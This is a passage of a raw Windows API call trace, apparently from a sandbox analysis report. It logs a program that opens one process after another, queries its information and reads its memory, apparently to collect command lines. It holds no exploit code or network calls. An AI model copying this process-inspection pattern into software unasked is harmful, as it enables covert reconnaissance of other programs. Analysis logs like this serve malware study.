dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0263.630] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0263.645] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe5c) returned 0x16c [0263.645] GetLastError () returned 0x0 [0263.647] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0263.647] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2b1018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0263.647] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0263.647] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x531cd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0263.647] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5318f8, lpBuffer=0x2dc22fc240, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0263.649] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0263.650] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0263.650] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2b1020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0263.651] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5312e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0263.651] malloc (_Size=0x6a) returned 0x20abc2831b0 [0263.651] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x53195a, lpBuffer=0x20abc2831b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0263.652] free (_Block=0x20abc2831b0) [0263.654] CloseHandle (hObject=0x16c) returned 1 [0263.655] _ui64tow_s (in: _Value=0xe68, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3688") returned 0x0 [0263.659] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3688") returned 4 [0263.660] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0263.660] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0263.688] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe68) returned 0x16c [0263.689] GetLastError () returned 0x0 [0263.689] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0263.690] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x39d018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0263.690] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0263.690] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x591ce0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0263.690] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5918f8, lpBuffer=0x2dc22fc240, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0263.692] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0263.693] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0263.693] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x39d020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0263.694] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5912e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0263.694] malloc (_Size=0x6c) returned 0x20abc2831b0 [0263.694] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x59195c, lpBuffer=0x20abc2831b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0263.695] free (_Block=0x20abc2831b0) [0263.695] CloseHandle (hObject=0x16c) returned 1 [0263.696] _ui64tow_s (in: _Value=0xe78, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3704") returned 0x0 [0263.701] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3704") returned 4 [0263.702] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0263.702] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0263.779] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe78) returned 0x16c [0263.779] GetLastError () returned 0x0 [0263.780] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0263.780] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x322018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0263.781] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0263.788] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4d1ce0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0263.788] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4d18f8, lpBuffer=0x2dc22fc240, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0263.791] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0263.793] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0263.793] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x322020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0263.793] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4d12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0263.793] malloc (_Size=0x70) returned 0x20abc2831b0 [0263.794] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4d1960, lpBuffer=0x20abc2831b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0263.794] free (_Block=0x20abc2831b0) [0263.795] CloseHandle (hObject=0x16c) returned 1 [0263.796] _ui64tow_s (in: _Value=0xe80, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3712") returned 0x0 [0263.801] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3712") returned 4 [0263.802] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0263.802] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0263.850] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe80) returned 0x16c [0263.850] GetLastError () returned 0x0 [0263.851] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0263.851] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2b1018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0263.852] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0263.852] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x491cb0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0263.852] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4918f8, lpBuffer=0x2dc22fc240, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0263.853] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0263.856] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0263.857] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2b1020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0263.857] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4912e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0263.857] malloc (_Size=0x5e) returned 0x20abc280840 [0263.857] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x49194e, lpBuffer=0x20abc280840, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280840*, lpNumberOfBytesRead=0x0) returned 1 [0263.858] free (_Block=0x20abc280840) [0263.858] CloseHandle (hObject=0x16c) returned 1 [0263.859] _ui64tow_s (in: _Value=0xe8c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3724") returned 0x0 [0263.863] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3724") returned 4 [0263.864] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0263.864] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0263.882] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe8c) returned 0x16c [0263.882] GetLastError () returned 0x0 [0263.883] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0263.883] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4f1018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0263.884] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0263.884] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x901ce0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0263.884] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x9018f8, lpBuffer=0x2dc22fc240, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0263.885] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0263.971] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0263.972] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4f1020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0263.972] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x9012e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0263.972] malloc (_Size=0x70) returned 0x20abc2831b0 [0263.972] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x901960, lpBuffer=0x20abc2831b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0263.974] free (_Block=0x20abc2831b0) [0263.975] CloseHandle (hObject=0x16c) returned 1 [0263.975] _ui64tow_s (in: _Value=0xe94, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3732") returned 0x0 [0263.986] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3732") returned 4 [0263.988] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0263.988] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0264.004] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe94) returned 0x16c [0264.004] GetLastError () returned 0x0 [0264.005] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0264.005] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x308018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0264.005] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0264.006] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x521d10, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0264.006] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5218f8, lpBuffer=0x2dc22fc240, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0264.007] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0264.009] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0264.009] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x308020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0264.009] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5212e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0264.009] malloc (_Size=0x80) returned 0x20abc285960 [0264.009] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x521970, lpBuffer=0x20abc285960, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc285960*, lpNumberOfBytesRead=0x0) returned 1 [0264.010] free (_Block=0x20abc285960) [0264.011] CloseHandle (hObject=0x16c) returned 1 [0264.034] _ui64tow_s (in: _Value=0xeac, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3756") returned 0x0 [0264.039] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3756") returned 4 [0264.040] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0264.040] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0264.056] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xeac) returned 0x16c [0264.056] GetLastError () returned 0x0 [0264.057] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0264.057] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3c1018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0264.057] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0264.058] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x501d30, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0264.060] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5018f8, lpBuffer=0x2dc22fc240, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0264.068] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0264.070] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0264.070] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3c1020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0264.070] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5012e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0264.070] malloc (_Size=0x8a) returned 0x20abc284e70 [0264.070] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x50197a, lpBuffer=0x20abc284e70, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284e70*, lpNumberOfBytesRead=0x0) returned 1 [0264.071] free (_Block=0x20abc284e70) [0264.072] CloseHandle (hObject=0x16c) returned 1 [0264.072] _ui64tow_s (in: _Value=0xeb4, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3764") returned 0x0 [0264.106] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3764") returned 4 [0264.107] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0264.107] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0264.121] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xeb4) returned 0x16c [0264.121] GetLastError () returned 0x0 [0264.123] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0264.123] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4bc018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0264.123] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0264.123] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2d1ce0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0264.123] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2d18f8, lpBuffer=0x2dc22fc240, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0264.125] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0264.126] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0264.126] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4bc020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0264.126] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2d12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, 